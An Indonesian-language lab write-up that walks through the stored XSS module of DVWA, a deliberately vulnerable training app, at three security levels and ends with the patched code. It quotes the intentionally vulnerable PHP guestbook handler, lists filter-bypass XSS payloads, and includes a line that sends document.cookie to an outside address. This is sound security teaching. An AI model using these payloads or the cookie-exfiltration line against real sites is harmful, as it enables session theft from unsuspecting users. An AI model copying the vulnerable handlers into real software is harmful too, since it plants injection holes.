DVWA Series: XSS (Stored)

⏱️6 min read

Intro

DVWA adalah aplikasi web yang dirancang khusus untuk memiliki kerentanan agar kita bisa mempelajarinya. Tujuan dari DVWA adalah mempraktikan beberapa kerentanan web yang umum ditemui dengan berbagai level kesulitan dan antarmuka langsung yang sederhana.

Disclaimer

Tujuan saya menulis dokumentasi ini adalah sebagai catatan pribadi dalam pempelajari keamanan aplikasi web. Saya tidak bertanggung jawab atas segala tindakan ilegal yang dipelajari dari dokumentasi ini.

Apa itu XSS(Cross-Site Scripting)

Serangan Cross-Site Scripting (XSS) adalah jenis injeksi, di mana skrip berbahaya disuntikkan ke situs web yang tidak berbahaya dan tepercaya. Ada beberapa jenis serangan XSS yaitu DOM-based XSS, Reflected XSS, dan Stored XSS. Serangan XSS terjadi ketika penyerang menggunakan aplikasi web untuk mengirim kode berbahaya, umumnya dalam bentuk skrip sisi browser, ke pengguna akhir yang berbeda. Penyerang dapat menggunakan XSS untuk mengirim skrip berbahaya ke pengguna(korban yang tidak curiga). Ketika user mengeklik link yanng diberikan maka browser akan mengeksekusi skrip. Karena menganggap skrip berasal dari sumber tepercaya, skrip berbahaya dapat mengakses cookie, token sesi, atau informasi sensitif lainnya yang disimpan oleh browser dan digunakan dengan situs tersebut.

Apa itu Stored XSS?\

Serangan stored XSS adalah di mana script yang diinject disimpan secara permanen di server target, seperti di database, di forum pesan, log pengunjung, kolom komentar, dll. Korban kemudian mengeksekusi script berbahaya dari server ketika membuka halaman yang mengandung script berbahaya tersebut.

Stored XSS dianggap sangat berbahaya karena siapaun yang mengunjungui halaman yang mengandung script berbahaya akan terkena. https://portswigger.net/web-security/cross-site-scripting/stored

Security Level: Low

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

Information Gathering

Secara normal isi dari halaman seperti berikut 1

Kemudian kita coba isi pada bagian message dengan tag <script></script> dan kita coba juga dengan form Name. Maka ketika kita view source: 2

Tag tersebut tidak terencode. Maka kita bisa langsung melakukan serangan pada kolom nama maupun message (pada kolom nama dan message, kita harus ganti maxlength dengan inspet element terlebih dahulu).

Launch Attack

<script>alert(document.cookie)</script>

atau jika ingin meredirect ke web kita juga bisa

<script>window.location='http://192.168.1.5:8088/?cookie='+document.cookie</script>

Inspect element: 3

Hasilnya: 4

Atau kita bisa menggunakan Burpsuite. Pertama kita intercept -> ganti isian nama dengan payload kemudian kita forward 5

Security Level: Medium

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

Information Gathering

Setelah saya coba-coba dan melihat source code pada form Name, tag <script> tidak diizinkan. Sedangkan pada form Message awalan tag (yang mengandung <) juga tidak diizinkan.

Sepertinya celah XSS terdapat pada form Name, karena kita bisa saja memanggil JavaScript tanpa menggunakan tag <script>. Tetapi maksimal inputan pada form Name ini hanya 10 karakter. Untuk mengatasi hal tersebut kita bisa merubah nilai maxlength nya dengan menggunakan inspect element atau bisa menggunakan burpsuite.

Launch Attack

Payload:

<scr<script>ipt>alert(document.cookie)</script>

atau

<SCRIPT>alert(document.cookie)</script>

atau

<body onload="alert(document.cookie)">

atau

<img src/onerror=alert(document.cookie)>

6

7

Security Level: High

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

Pada source code di atas terlihat bahwa pattern "<s*c*r*i*p*t" tidak diizinkan pada form Name. Sehingga kita tidak bisa menggunakan payload yang mengandung tag <script. kita bisa pakai tag img atau body atau pakai tag lain, dapat dilihat di cheat sheet berikut https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

Launch Attack

Payload yang saya pakai:

<img src/onerror=alert(document.cookie)>

8

9

Menghindari Stored XSS

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Melakukan sanitasi dan escape string